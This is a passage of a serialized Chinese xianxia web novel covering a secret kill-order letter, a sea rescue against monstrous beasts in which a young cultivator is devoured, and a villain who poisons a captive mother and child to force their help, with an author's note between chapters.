随安问他:“不过这东西是陈家的,既然陈家三子陈咎还活着,咱们是不是要给他为好?” “我问过他,他说当年陈家家主将木盒托付给他,如今既然交给随家,那么如何处置是我们的事情。”随泱双手环胸,靠坐在椅中,冷眼看着这木盒。 随安凑上前盯着木盒:“那为何不打开啊?” 随泱沉默,眉心紧蹙。 随安看看他,又看看木盒,忽然明白他的担忧:“你是担心这里面的机密会招致杀身之祸?” 随泱没说话,但沉默便是默认。 “害,兄长你别担心,我知道你顾虑的是我。”随安坐直,拍了拍自己的胸膛,“你放心,我可不是怕死的人,就算咱们不看,鹤阶也不可能放过我们的。” 随泱抬眸看他,母亲早亡,父亲也死得突然,只剩下他一人带着比自己小几十岁的幼弟,拉扯他长大并不容易,但随安自小听话,也省了不少麻烦。 少年人总是有比天高的胆量,什么都不怕,倒是他越活越优柔寡断、顾虑见长。 随泱笑了下,踹了他一脚,对他道:“让开些。” 随安立马退开,不确定这木盒里会有什么东西,他在随泱身边可能还会给他带来麻烦。 随泱抬手取下打开的铁锁,扶住木盒上盖,缓缓打开。 什么机关暗器统统没有,那把无法劈开的锁便是这木盒唯一的禁制,小巧的匣子内,就如陈家老祖交代随父的一般,有半封信。 这一半不同的地方,在于右下角戳了鹤阶的家主印章,有鹤阶的灵印在上面,能保这封信不被雨水风沙侵蚀,也能昭示这封信的真实性。 随泱拿起那半封信,不过一小页书信,一眼便能扫完,他却看了足有半刻钟,随安站在他身后,能看到那封信在抖…… 不,是因为随泱拿信的手太过用力,导致那封信在抖。 随安皱眉,凑上前去,探着脖子去看。 因为只有半张,且是下半张,因此信的内容并不完整。 他低声念:“见信如令……他手持天罡篆……若能杀……每人赏金十万,入长老阁……” 大致能看出前面是些什么意思,能绞杀陈家老祖者大有赏赐,这些他们都能猜出,真正令随泱惊愕的,是最后的戳印。 随安磕磕巴巴道:“这……这不是……这不是慕家和闻家的家主印章吗,还有……还有赤敛燕家,沅湘周家,定州方家……” 九个门派的家主篆印,共同下了这封追杀令。 随泱立刻起身,盖上木盒朝外走去,边走边说:“这几日我回不来,主城有青鸾的庇佑,你待在这里切记不可出城。” “兄长!”随安喊了几声,可随泱已经消失不见- 越疏棠的住处在这座岛的东北侧,一栋两层高的小竹楼,几人进来,她有些不好意思,说道:“岛上客栈不多,大多外来的人都是借住在本地居民家,这里是我曾经购买的私宅,影杀并不知晓,宅子未有人住,略显破旧了些。” 她顿了顿,指着那栋竹楼道:“一楼有四间房舍,二楼有三间,咱们八人,其中有两人得住一间。” 慕夕阙颔首:“我和我阿姐一同住,她身子不好,得有人照看。” 慕从晚裹着披风,并未回答,沉默应下。 越疏棠道:“那就这样安排,我去买些被褥吧。” “不必,我带的有。”姜榆晃了晃乾坤袋,“师娘给的,不必买。” 朝蕴准备得很充分,越疏棠只能应下,先去收拾屋子。 闻惊遥看向慕夕阙,她没看他,而是扶着慕从晚上了楼,到二楼最左侧的房间后开门进去。 蔺九尘站在闻惊遥身侧,问道:“你与小夕近来有矛盾,你们怎么了?” 闻惊遥垂下长睫,并未多解释,只道:“我做错了事情。” 蔺九尘难免诧异,闻惊遥是什么性子,整个十三州都知晓,连句辱人的话都不会说,整日活得规规矩矩,最是听慕夕阙的话。 这一圈人中,慕夕阙生过朝蕴的气,生过慕从晚的气,姜榆蔺九尘以及师盈虚,以及其他弟子都惹过慕二小姐不痛快。 唯独闻惊遥没有,慕夕阙从未真正生过闻惊遥的气,偶尔会烦闻少主的古板,但并未发过火。 蔺九尘哑口无言,安静了会儿,见闻惊遥不想解释,他也不追问,说道:“小夕嘴硬心软,她生气容易,气消得也快,你多说些好话,跟她道个歉,她一准气消。” 闻惊遥没说话,等蔺九尘离开去了自己的房间,他安静站了会儿,走入最后仅剩的房间。 二楼内,慕夕阙将屋子简单收拾了下,取出床新的被褥铺在榻上,又灌了几个汤婆塞进被内。 屋里只有一张床,她的乾坤袋里有个躺椅,于是慕夕阙取出躺椅,捞了个薄毯,这便是她睡觉的地方。 慕从晚坐在榻上看她忙碌完,又看看那把躺椅,沉默了片刻,说道:“小夕,你睡榻上吧。” 慕夕阙头也不回,将桌子擦干净:“这屋子不大,榻太小了,睡觉会挤着你,我睡那把躺椅就行。” 慕二小姐追求生活质量,平时哪受过这委屈,也很少亲手干活,可慕从晚看着她铺榻擦桌,收拾房间的动作格外熟练,像是干过上百次,迅速利落。 慕从晚沉声说:“抱歉,是我拖累你,这一路上都得你照顾着。” 慕夕阙顿了下,她站直身子,转过来看慕从晚,在这屋内她脱下了披风,一身白衣裹着瘦削的身子,脸上一块肉都没,骨骼线条明显。 “跟我道什么歉,我还没跟你道歉呢。”慕夕阙将抹布搁在桌上,看着慕从晚,“我以前见你就对你发火,你怎么都不吵回来?” 慕二小姐前世还挺混账的,对慕从晚不知道说了多少狠话,这位大小姐只是安安静静听着,然后看她跑开,一句反驳的话也不会说,无论妹妹发多大的火气都只会低头听。 慕从晚垂眸,低声道:“确实是我的错,是我害死了父亲,害得母亲对我愧疚,将慕家的责任都压在你身上,对你严厉苛求。” 慕夕阙别过头,将布巾翻了个面,边擦桌子边说:“爹的死跟你没关系,阿娘对我苛责也是为了慕家的未来,这些都过去了,以后别再提了,我也不会再跟你们吵架。” 屋内安静,慕夕阙很快收拾好,现在已到正午,她可以不用膳,但慕从晚得吃饭,楼下有饭菜的香味传来,慕夕阙站在过道看去,院角的露天膳房内,越疏棠正在忙碌,蔺九尘和迟笙在帮她备菜。 因为迟笙嘴刁,越疏棠也练出了一手好厨艺,慕夕阙上辈子吃过不少次她做的饭,这是她认识的人中,厨艺最好的。 这里没有添置太多器皿,连炒菜的锅都是方才刚买的,其实修士们可以几日不吃饭,但有慕从晚在这里,越疏棠还是做了膳。 姜榆在劈柴,闻惊遥自己在院角另一侧磨刀,他身上有伤,能干的活不多。 少年安安静静,自己坐在那里,一把小木椅对他来说着实有些委屈,兴许是觉察出慕夕阙的目光,他抬起眼眸看过来,两人刚好对视。 只看了一眼,闻惊遥尚未来得及说话,慕夕阙便回了头,进入屋内。 闻惊遥便又低下头,不再多说,手上的力道却重了些,将这把菜刀磨得锋利无匹。 过了会儿,慕夕阙带着慕从晚下来,她将慕从晚安置好,独身去了露天膳房,将蔺九尘和迟笙都赶了出来,自己在越疏棠身边帮忙。 这里只有两人,慕夕阙一边择菜一边问:“你可知道梅枝雪在何处?” 越疏棠一边炒菜,一边道:“我并未关注过医仙的动向,她行迹捉摸不定,性格也诡异,听说她医人不看钱,看眼缘。” “我知道。”慕夕阙道,“她愿意治的人就算分文不给也会治,不愿意治的人便是给上万金也不看一眼。” “嗯,你若是要找她,怕是不容易,得找影杀的人帮忙,他们的消息灵通。”越疏棠顿了下,又问道,“不过听闻十三州有个灵枢阁,你为何不找他们?” “灵枢阁主要分布十三州,海外仙岛的事情并非全能查出,这里毕竟有影杀的势力暗中阻拦。” “也是。”越疏棠颔首,“要不我托几个影杀的朋友帮你——” 慕夕阙当即否决:“不行,夜迢想杀你,影杀的人对你来说皆都不可信,如今我们不知夜迢是尚在十三州,还是回了海外仙岛,不要贸然出手。” 越疏棠安静,只剩锅铲翻菜的声音,过了一会儿,她又说:“二小姐,我得先去寻人,那户渔民对我有恩,待会儿用完膳我便去找他们询问情况,如果真的要出海,我会出去。” 慕夕阙知晓越疏棠的为人,她很讲义气,对她有恩的人会以命相报,即使知晓如今海上不太平,她仍会去。 “我知道,如果有需要你可以向我开口,我会帮你,过会儿我会去寻医仙的踪迹,出去一趟。” 越疏棠顿住,侧眸看她:“你去哪里?” 慕夕阙只能胡诌个理由:“出去走一走看一看罢了。” 越疏棠自是不信,但没多问,只道:“你注意不要去西南侧,那里是影杀的区域,容易撞上影杀。” “嗯。”慕夕阙应下。 用完膳,越疏棠寻了个理由将迟笙支走,她独身去找那户渔民。 慕夕阙眉心微蹙:“你确定不带上迟笙?” 越疏棠道:“那户渔民对我有恩,是我的恩人,没必要牵累阿笙,若真的要出海,我自己去便可。” 知道她的顾虑,慕夕阙将几套暗器递给她:“拿着防身,你熟悉影杀的手段,应该能轻易知道他们的埋伏,如果有不对劲的地方,直接回来。” “好。”越疏棠接过,朝她拱了拱手。 目送她离开,慕夕阙将慕从晚安顿好,她并未告知蔺九尘他们,孤身一人出了院门。 刚走没多久,慕夕阙便停下,转身看过去。 闻惊遥跟在她身后不远处,换了身青衫,马尾用玉冠高束,垂下的青色发带被风扬起,姿容清俊。 双目相对,慕夕阙眼神冷漠:“你跟着我做什么?” 听出她的敌意,闻惊遥并未多言,说道:“你孤身一人,我不放心。” 慕夕阙转身就走,纵使她不喜,闻惊遥还是跟了上去,边走边说:“楼里有你留下的禁制,蔺公子也在,他们不会有事。” 见她不说话,闻惊遥沉默了瞬,又道:“你要去找医仙吗?” “嗯。”慕夕阙这次回应了,给了他一套海外仙岛常见的遮阳面罩。 影杀擅易容术,修为高强的影杀杀手甚至能一眼看出易容术的存在,不如入乡随俗,戴上渔民常用的遮阳面罩,这里的日头比十三州强太多,不遮住极易晒黑。 闻惊遥知道她不会漫无目的寻找,既然出来了,便是有自己的计划。 海外仙岛巷子多,但她似乎很熟悉路况,知道哪条巷子要转弯,知道要走多远,闻惊遥能猜出她前世在海外仙岛的几年里,应是在这座岛上生活。 慕夕阙去的地方是售卖船票的码头,海外一百多座岛屿统称为海外仙岛,一面有百丈长的告示牌由两根木桩撑起,上面写了这一百多座岛的名字和距离,以及票价和大致形貌特征,常住人口有多少。 闻惊遥看着这些岛屿的名字,大多格外相似,只差一个字的区别,人口从几万人到几十万人都有,票价也从几枚钱到几金。 而能论金来算票价的,只有几座岛屿,其中有两座是空岛,无人居住。 慕夕阙淡声解释:“那些岛距离太远,处于玉灵护佑边界,靠近祭墟,海兽和旋涡也多,船不好走,自是昂贵。” 她却盯着那两座没有登记人口的岛屿。 “医仙在这里吗?”闻惊遥来到她身侧。 “不确定,时间太久,忘了,之前托影杀查过,查了半年才得到一点踪迹,只想起来她曾在一座孤字开头的岛屿上住了二三十年,梅枝雪独来独往,不喜人多。” 海外仙岛以“孤”字开头的岛屿,只有五座,其中三座岛屿人烟阜盛,梅枝雪若长期定居在那里,不至于让影杀查上半年才找到一点踪迹,便只剩下两座无人的空岛。 慕夕阙的视线下移,落在两座岛下登记的船次,其他岛屿的下方隔一日便会提前写上船次,每座岛每日都会有船去。 唯独这两座岛没有船次。 一座孤岛,险象环生,海路艰难,自是无人会去。 闻惊遥问道:“没有船次,我们的灵舟可以飞去吗?” 慕夕阙回道:“不能,万年前那些祟种便是混上灵舟攻来的,因此海外仙岛的虚空有玉灵留下的禁制,除了那些海鸟,灵舟飞不起来。” 两人安静了会儿,慕夕阙回身看向码头,海面上飘着上百艘船,即使知道有海兽不定时出没,但渔民仍要出海捕鱼,仍要去往其它岛屿贩卖鱼虾,交换农产,寻医求药。 慕夕阙直接道:“买一艘船,能在海外仙岛的海上行驶,必须得有船行打下的禁制,能帮助我们识别旋涡和海沟,避开些不必要的风险,我会开海外仙岛的船。” 闻惊遥颔首:“好,我与你一同去。” 船行距此甚远,他们一路走过去,慕夕阙对这整座岛屿都分外熟悉,她还能瞧见自己前世认识的商贩在街边支摊,走在这些青街小巷内,倒有些回到前世的感觉。 曾经她还想一切事了结后,若还能活着,便来海外仙岛过完这剩下的日子,随渔民捕鱼也好,跟影杀出任务也行,这里于当时的她而言是块安宁之地。 如今看来,乱世之中,哪里有真正安宁的地方? 一路走到船行,几乎穿过整个岛屿,慕夕阙不想说话,闻惊遥便不惹她烦,安静跟在她身侧。 她走进船行,一个略显魁梧的男子走来,堆起笑道:“姑娘,公子,来替家里买船吗?” 还不等慕夕阙回答,他连忙拿出画册:“是家里出行用还是捕鱼用的,咱们船行新做的船,用玄铁裹檀木——” 不等他说完,慕夕阙直接道:“材质最好最坚硬的船便可。” 闻惊遥解下腰间的乾坤袋,抬手递过去:“您看这些够吗,要最好的船便可。” 可慕夕阙却推开了他的钱袋子,明摆着不想用他的钱,而是将自己准备好的乾坤袋给了船行掌柜。 “这些够吗?” 闻惊遥愣了下,看着慕夕阙的侧脸,她并未看他,明明乾坤袋不重,却又压在他的掌心,他垂下长睫,将乾坤袋收了回去。 掌柜接过乾坤袋打开,笑得连眼尾的褶子都炸开了花:“够,当然够,姑娘可跑对地方了,整个海外仙岛就属咱家船行的用材好了,我爹在世时用几十年打了一艘船,前些年别人出十万金我也没卖,我瞧着它就等着您呢!” 慕夕阙出了五十万金。 有钱豪横至此,船行掌柜当即便带他们去看船,当着慕夕阙的面在船上下了好几道禁制。 “这些禁制能敌百米高的海浪,还能一定范围内驱逐靠进的小型海兽,什么礁石什么峡谷统统可以避开,保您一路平安。” 慕夕阙将船收进乾坤袋,看着喜笑颜开的掌柜,她弯了弯眼眸,面罩下的眼睛漂亮夺目,笑着说道:“这是送给家里长辈的生辰礼,还请掌柜勿要告知他人此船被买走了。” 船行掌柜一拍大腿:“那是自然,我懂!姑娘的一片孝心,老人家见了必定欢喜!” 慕夕阙点点头,转身离开,和闻惊遥一同出了船行。 她走路很快,为了不引人注意,此行出门并未戴首饰,满头青丝束成利落的马尾,一根金簪都无,背影干练利落,一身金色修身长衫也在霞光的照耀下映衬出细碎的光。 闻惊遥落后她两步,看她头也不回径直往前走。 他能觉察出两人坦白后,她浑身竖起的刺和疏离,不会再用他送的东西,不会花他的一金一银,不会再给他一个温柔亲昵的笑,即使是笑,也是虚伪和讽刺居多。 两人始终错开两步的距离,而她一次也没回过头。 离家还有半个时辰的路时,慕夕阙腰间的玉符亮了,这是她临行前从弟子库房内随意取的一块玉符,来人是蔺九尘。 “小夕,出事了,迟姑娘不见了。” 慕夕阙和闻惊遥一怔,下一瞬,两人朝家里奔去,玉符并未挂断,慕夕阙疾声问:“何时不见的?” 蔺九尘匆匆忙忙说:“慕大小姐身子虚寒,两刻钟前迟姑娘外出采买取暖的火炉,便再也未回来,我刚刚发现不对,但慕大小姐在此,我无法离开,便准备托阿榆和师大小姐出去找她。” “你们不准出楼,我和闻惊遥去。”慕夕阙挂断玉符,调转方向,朝集市奔去。 天已快黑,霞光将退,月影已经悬在虚空,渔船陆续归航,慕夕阙和闻惊遥刚到集市,便瞧见远处的码头聚了不少人。 这次聚的人比清晨时还要多,哭喊声也比清晨时大,她听到有稚童的声音,有男人和女人的哭喊声,还有老人家苍厚断续的哭声。 “造孽啊,这次有十五艘渔船未归。” “听闻还有一艘客船,载了隔壁岛下学的孩子们,都是些刚入道的修士,去隔壁岛的学宫修行,半年才归家一次,这刚回来就出事了。” “有人去救了,这次有几个修士跟着,应当能救回来吧?” 慕夕阙忽然站住。 说话的女人被拽住,吓了一跳,扭头去看,是一个戴了面罩的金衫姑娘,身后还站着个高挑的青衫公子。 “姑娘,你做什么?” 慕夕阙拽住她的胳膊,问道:“出海的修士中,有没有一个穿蓝裙,扎了四根麻花细辫的少女,约莫十五岁。” “……好像是有。” 慕夕阙握住她胳膊的手松开,来往的人不少,有许多是得知消息去往码头等候的百姓们,还有些哭着前来寻人的家属。 那些声音嘈杂,全灌进耳里,她听不清闻惊遥在说什么,而是看着远处的海,平静的海域给予这些渔民生活,也收割了许多人的生命。 上辈子的迟笙死在一次出海救人,她的死摧毁了越疏棠。 迟笙应该死在十六岁,一年后,可如今灵舟被海兽攻击,海域动乱,一切都在告诉她,这些灾难不会避开,只会提前。 迟笙今夜出海了,她还是去救人了。 作者有话说:来晚了来晚了,果然晚上十八点更新不适合我这种时速间歇性两千,持续性几百的手慢党,下本书还是晚上八点更新吧[爆哭] 今天发个红包[撒花] 第69章 第 69 章 救下 “夕阙。” 闻惊遥握住她的手腕, 慕夕阙的腕子冰凉,他低头看了眼,用了些力, 拽回她的意识。 “横生变故,事发突然, 迟姑娘应当尚未走多远, 现在出海或许能追上。” 慕夕阙挣开他的手,抬步便往码头走,边走边向蔺九尘他们传信。 “师兄, 你守好家,我出趟海。” 码头被人挤得水泄不通,慕夕阙几乎是见缝插针钻进去的, 有人已经哭到昏厥, 有人浑浑噩噩看着海面, 有人仍在崩溃大哭, 靠岸的地方拴了一艘艘渔船, 有些桩子空着,应是至今未归的船。 慕夕阙找了艘略大的船,直接问道:“这是哪家的船?” 一群人看过来, 她裹着面纱遮脸,露出的眼睛能看出轮廓漂亮, 虽然纤细, 但并不瘦弱,腰杆笔直, 瞧着有力。 见无人回答,她又问了遍:“这是谁的船,我要出海。” 有人即刻拦她:“姑娘, 不能出海啊,出去的就没有活着回来的!” “我要出海。”慕夕阙解下乾坤袋,取出银两,“我会以市场价买下船,谁的船空着?” “你这丫头怎么不听话,那海出不得!” “都说了不能去,你非得犟,方才已经去了不少修士了!” 一个个全是在拦她的,纵使知道这些渔民是为她好,慕夕阙仍有些急了,转身便要随手解开一艘船,刚走出一步,有人拽住她的裙摆。 慕夕阙低头看去,是一张哭到双目通红的脸。 那女子拽住她的裙子,双腿无力,瘫坐在她面前:“姑娘,我家还有一艘船,我两个孩子都在那艘客船上,大的十三岁,小的才九岁,他们刚入道修行,你救救他们!” 慕夕阙眉心微蹙:“你家的船是哪艘?” 女子慌忙起身,她哭得没力气,中途还摔了两下,慕夕阙想去搀扶她,她却又凭着自己的一口气站起来,跑向左侧,停在一艘渔船前解开栓绳。 然后她上了渔船,对慕夕阙道:“姑娘,是这艘!” 慕夕阙走过去,闻惊遥也在这时挤过来,两人躲开那些要阻拦他们的渔民,跃上那女子的渔船。 可那女子却并未下船,她坐在船头,擦了擦脸上的泪:“我会开船,我带你们去。” 慕夕阙按住她抖得不成样子的手,拉起她,自己站到了掌舵的地方:“我也会开,你回去等着吧,那里海兽太多,可能会丧命。” “不行,我得去,我孩子在——” “若要打斗,我无暇顾及你。”慕夕阙打断她的话,冷硬的表情在看到她强行忍耐的崩溃后,最终还是松了些,她放轻声音,“我们便不要耽误时间了,我会尽力救下他们。” 那女子当即下船,哭着对她喊:“两个孩子,大的叫宋云霁,男孩,小的叫宋云岫,女孩!” 慕夕阙愣了下,看了眼那女子的模样,眉目清秀温婉,脸上有些被晒出的细斑,但仍能瞧出些熟悉的轮廓,宋云霁长得很像她。 码头上有人在喊他们,告知自家人的姓名和体态样貌,慕夕阙并未听太仔细,她没时间耽误,启动渔船朝海域驶向海域。 闻惊遥并不会开海外仙岛的船,他站在她身后几步远,回头去看码头上的人,今夜的事动静不小,这座岛灯火通明,码头和沙滩上站满了人。 船的速度太快,很快便看不见那些人了。 这些渔船周身有船行打下的禁制,能适当隔绝一部分的海风,闻惊遥来到慕夕阙身侧,微弱的风扬起她的发尾,有几缕飘到他面前,他抬手替她顺下。 “夕阙,你之前说迟姑娘死于救人,越姑娘多年后死于一场任务,是否便是这次?” 慕夕阙并未回答,掌舵的手却攥紧了些。 闻惊遥看向她泛白的骨节,心下了然。 “不是这次,否则你不会没有防备,只是事情提前发生了,就如同今早灵舟遭遇海兽袭击一般,我们的一系列动作改变了鹤阶和那个人的计划,但他们要做的腌臜事仍旧会做,只是提前动手了。” 提前让那些海兽躁动,变得极具攻击性,灵舟被袭击,渔船被困,而无论前世还是今生,迟笙这样的修士,一定会去救人。 可最近的事,也在告诉她,闻惊遥猜的是对的。 “夕阙,秽毒如果可以侵染海兽,那么是否有朝一日,也能侵染灵植和灵兽们?” 慕夕阙咬紧牙关,面上瞧着毫无异样,可实际上她早已将齿关咬破,血流了出来。 闻惊遥安静了片刻,纵使不忍,但他一如既往冷静,又开口问道:“你认识方才那个母亲,是吗?” “不认识。”慕夕阙这次开口回应了,“我认识她儿子。” “那她和她女儿呢?” “死了。” “怎么死的?” 他总要刨根问底,慕夕阙瞪了他一眼,可闻惊遥耐心看着她,似乎在等回答,也并非只是好奇才追问的。 慕夕阙别过头目视前方:“他们兄妹两个在另一座岛的学宫修行,一次休假归家,宋云霁留在学宫帮忙,宋云岫单独乘船回家,夜黑未归,失踪了,几月后寻到了尸骨。” 她默了一瞬,声音低了些:“孩子的尸身被咬得破烂,他们的母亲看到尸身受* 了刺激,重病不起,没撑几年就离世了,后来宋云霁进了影杀,我们见过不少次。” “他最后如何了?” “不知道,关系没那么近,没再听说过。” 慕夕阙掌舵的动作很熟练,她会许多东西,方方面面,几乎全能,擅刀擅剑还擅阵术,会治伤接骨,针灸祛毒。 这些东西并非一朝一夕就能学会,人在数次濒死,被逼到绝境的时候,总能爆发出自己无法想象的潜力,她愣是逼着自己学会了。 闻惊遥垂眸看着从船侧划过的海水和翻滚的浪花,他很想知道前世的事情,想知晓自己到底为何做那些鬼迷心窍的事,却又害怕看到前世的事,看到她受的那些苦痛。 她过得那般辛苦,他却只能看着,无法回到过去帮她杀掉自己,也无法将她救出火海。 下一瞬,闻惊遥抬眸,眸底的黯然瞬间敛去,他拔出青剑,莹亮青光从剑柄一路流向剑尖,整把剑身被青光裹挟。 慕夕阙没动,冷静掌舵,渔船以极快的速度向前方驶去,在经过一块礁石后,她忽然转向,船身横停在海面。 闻惊遥已借力冲出,化为一道青光冲出百丈远,抬手拔剑,剑光旋出昳丽的光,一剑斩下,声势浩荡。 剑光劈落在海水里,在水中披靡无阻,冲向前方,将两侧的海水分割,炸成几十丈高的水帘,一击将匍匐在礁石后的海兽掀出水面。 庞然大物狰狞可怖,周身布鳞甲,这是一只如鱼像鳄的巨兽,嘴长獠牙,兽尾横扫而过,撞在闻惊遥的剑身上,将他重重带进海里。 慕夕阙并未去帮忙,她翻身跃上礁石,与一条擦肩而过的兽尾错开,那只巨兽的尾端与方才的巨兽不同,长了尖刺,划破了她的金衫。 她拔剑冲去,跳到那只海兽的头颅上,一剑刺穿它的眼睛,待她斩杀这只巨兽后,而闻惊遥也已从海里跃起,两只巨兽的尸身沉入海底。 慕夕阙跳至船上,闻惊遥紧随其后翻身跃上,她迅速掌舵冲出甚远。 “血味会吸引附近的海兽,得赶紧走。” 可远处平静的海面也已波涛汹涌,海兽露出的背脊像是一座座锋利的石山,若眼力不好,怕是会将它们当成渔船的船帆。 有五六只巨兽,闻惊遥回头去看,身后也已追上了几只海兽。 慕夕阙丢下渔船,足尖轻踮,借力跃出,冷声道:“我解决前面,你解决后面。” 两人相背而行,冲去海兽群- “奇了怪了,不是早就停渡了吗,怎么今日来了这么多人?” 身穿汗衫的男子走出家门,收回在外头晾晒的薄被,看了眼虚空驶过的灵舟,摇了摇头,转身进入家门。 灵舟落在十三州的码头处,几人从舟上走下,个个衣衫缥缈,貌似云鹤,俨然仙人之资。 燕如珩走出,并未让弟子搀扶,六月的天,他却披了件毛呢披风,往日温润俊秀的脸也像是重病未愈,苍白无血。 一旁的燕家弟子走上前来,说道:“少主,陈家村人不多,已全部抓来,一个孩子说他会开。” 燕如珩回头,弟子压着一个虚弱的女人和一个年岁不大的孩子走来,那孩子也就约莫十岁,依偎在女人身边。 刚到这里,弟子们将病容明显的女人摔在地上,那孩子立马上前扶起母亲,哭着说:“公子,我可以帮你们开灵舟,祖父带我走过这段路,我看过他怎么开的,全都记在脑子里了!” 燕如珩笑了下,温声问道:“你们家还有灵舟?” “有!大爷爷在世时家里是有两艘的,十三年前大爷爷去世,那艘灵舟落到海外仙岛后,是我祖父去收了回来,就在乾坤袋里。” 孩子捧着乾坤袋,忍着恐惧说:“父亲被你们杀了,可我娘她身子弱,不会有任何威胁,我真的可以帮你们开灵舟,只求你们留我族人一条性命!” 他才十岁,以头抢地,跪在燕如珩面前,只为了替自己的母亲和族人求一条生路。 燕如珩弯起眸子笑起来,他走上前,屈膝半蹲,抬手扶起他。 孩子抬眸看来,水汪汪的眼睛里倒映出一张俊美的脸,明明生得这般好看,像是一块精雕细琢的玉像,周身的矜贵挡不住。 可下一刻,宽大的手卡在他的下颌,燕如珩用力捏住他的脸,一枚丹药被快速打入他的嘴里,入嘴即化,压根没有反应的时间。 跌在地上的女人看到,咳嗽着扑上前:“阿宥!” 可不等女人扑过去,弟子已钳制住她,往她嘴里塞了药。 燕如珩站起身,垂眸看着两个紧紧抱在一起的人,孤儿寡母,毫无威胁。 “若我们安全抵达海外仙岛,自会为你们解毒。” 停在远处的燕家灵舟上,主舱内坐着一人,他透过打开的轩窗看着外头的白衣青年,啧啧几声,摇了摇头。 “果然心狠,根骨废了都让他那爹拿他毫无办法,这燕家早已是他的了。” 纪挽春恭声道:“是,可是赤敛百姓因着麒麟的事,对燕家意见颇深,燕家这掌权的位置不知道能坐多久,动手的应也是慕二小姐,她手段果真是狠辣。” 黑衣男子身子后仰,靠进木椅里,仍看着窗外的人。 “我也在想,慕二到底为何知道这么多,就像她经历过一遍,知道咱们的所有计划一般。” 纪挽春没说话。 黑衣男子低声喃喃:“对啊,就像经历过一样,她还会那么多乱七八糟的东西,一个十七岁的少女,这十七年够她学这么多吗,没有被夺舍……” 忽然想到什么,他笑了下:“难不成真活过一次?” 纪挽春当即抬眸,这事情有些荒谬,不知道他为何会想到这些。 但不敢沉默,只能硬着头皮说:“人死如灯灭,魂当入轮回,又怎会复生?” 黑衣男子别过头,鎏金面具在月色下淬着光:“怎么不可能,十二辰可是能掌阴阳轮回,四时流转的。” 纪挽春牵出勉强的笑:“可那些不是传言吗,十二辰连让一朵枯萎的花复生都做不到,曾经不是有神器之主试过吗?” “那是他们不会用。”黑衣男子嗤了一声,转过头,盯着外头的海,神色阴郁。 “它怎么不能,它当然能,它能敛骨吹魂,让大地回春,若再有借力,甚至可以……” 可以什么? 纪挽春安静听着,却并未听到下半截话,他似乎不想说了,只安静看着窗外,等燕如珩他们准备好灵舟,可以穿过祭墟,抵达海外仙岛- 越疏棠从阿漾家走出,心头上仿佛压了块巨石。 阿漾的父亲和兄长已经失踪多日,舟上准备的干粮应也早已吃完,纵使能挺过这么多夜晚不被海兽袭击,可无水无粮,风吹日晒,怕也早已遭遇不测。 阿漾的母亲也从失神崩溃中清醒过来,在越疏棠提议要出海去找时,她打断了她。 越疏棠无法忘记她的眼神,和她说的话。 那是一种无力又绝望的眼神,却要强撑出笑,握紧越疏棠的手,阿漾的母亲抱着阿漾,对她说:“不找了,都是命,再搭一条命进去,又是何必?” 越疏棠边走边想,竟直接到了家,她推开门进去,以为会迎上从屋内冲出的迟笙,以往她出任务回来,迟笙都会出来接她。 可今日没有,只有蔺九尘、姜榆、师盈虚和慕从晚,四人齐刷刷看来。 越疏棠问道:“阿笙他们呢?” 蔺九尘神色沉重:“越姑娘,抱歉,今夜十几艘渔船未归,迟姑娘在替慕大小姐买暖炉时得知,她去救人了。” 越疏棠搭在门把上的手坠落,她愣愣看着冷静的蔺九尘,焦急的师盈虚和姜榆,以及愧疚的慕从晚。 她听到自己问:“……她出海了?” “她出海了。”蔺九尘回答。 越疏棠觉得自己要疯了,她转身朝码头奔去,速度越来越快,往日需要走上一个时辰的路,她一刻钟便赶到了,跑到码头,那里还围着上百人,指着一个方向说话。 “加上半个时辰前的那两个修士,总归去了二十人,应该可以救下吧?” “那些海兽太大了,骨骼坚硬,一口能吞下几艘渔船,纵使是修士,也不好对付啊。” 越疏棠推开人群挤进去,她来不及问,随手解了一艘渔船,在那些渔民还没来得及拦她的时候,她已经掌舵驶去,渔船驶向渔民所指的方向。 万里之外的海域,几艘渔船被包围在其中。 几十个模样稚嫩的孩子便是唯一的修士,他们跃上渔船,分开站立,共同抬手结印,这是学宫先生教的防御阵术。 可这些都是刚入道的孩子,最大的也才十几岁,小的只有七八岁,甚至连筑基都未到,修为最高的只是宋云霁,才炼气境,他甚至祭出了师父给的防御法器,天阶的法器在十几只海兽的攻击下,也只能坚持不到一刻钟。 宋云霁看着艰难支撑的妹妹,宋云岫的灵力微不足道,他们能撑这一刻钟,全是靠着这块法器。 “阿兄,撑不住了!”宋云岫喊道,“我还没见到娘呢,娘肯定要急死了!” 稚嫩的脸上尽是泪水,面对十几只庞然巨兽,面临被吞入嚼碎的恐惧,一个九岁的孩子能克服恐惧站出来结阵,已是极限。 “阿岫,再坚持一会儿,马上——” 话还没说完,宋云霁眼睁睁看着一只巨兽腾飞,重重撞在罡罩上,顷刻间,防御法器破碎,连带着罡罩也碎裂。 尖叫声迸发,他惊恐看着那只巨兽朝宋云岫扑去。 “阿岫!”宋云霁冲过去,跪在宋云岫面前将她抱进怀里,瘦弱的脊背面朝海兽的巨口。 被撕裂的疼痛并未抵达,比海兽更快的,是十几个从远处掠来的修士,然后一人冲上前,将他们二人从海兽的巨口下夺过来。 宋云霁还未回神,便已被人甩进船舱内,他仰头看去,身着蓝裙的少女站在栏杆上,一人一剑,而十几个修士也已飞来,落在渔船的甲板上。 迟笙喊道:“必须冲出去,这些巨兽白日也不会睡的!我们开路,你们能开船的去开船!” 会开船的人立马跑去掌舵,纵使恐惧却并未慌乱,看那些修士们拔身跃出,从四面八方冲向海兽群。 不多时,一条路便被撕开,迟笙在虚空厉吼:“走!” 几艘船沿着撕开的缺口冲出去,冲出甚远后,宋云霁抱着吓哭的阿妹,回头看去。 很多人都在看,客船上载的年轻弟子们趴在窗口,渔船上的渔民也有回头看去,宋云霁看到两个修士被一口咬断了头颅和身子,尸身掉进海里,血染红了大片。 他没办法去帮忙,他年纪太小了,修为也不够,去了也只会拖累他们,他只能咬牙忍泪看着,看那些修士抵挡海兽群,为他们争夺逃命的机会。 能跑去一座岛上,只要能靠岸,不在海上,他们便能活。 宋云霁不敢再看,将宋云岫的脑袋埋进怀里,他忍着眼泪,船越走越远,他却又忍不住,在这一刻回头看去。 然后他看到惊恐的一幕,那个救下他们的蓝衣少女,被身后窜出的一只巨兽,一口吞入了腹中。 “姐姐!”宋云岫也看到了,她惊恐尖叫。 宋云霁只能捂住她的眼睛,抖着手死死捂住她的眼睛。 一艘孤零零的渔船从远处驶来,与他们这几艘船相背而行,它冲向海兽群。 越疏棠已竭力赶来,一路借着旋涡甩开了不少海兽,可还是晚了一步,她看到迟笙消失在海兽的巨口中,那只海兽跌进水里,满载而归。 “阿笙,阿笙!” 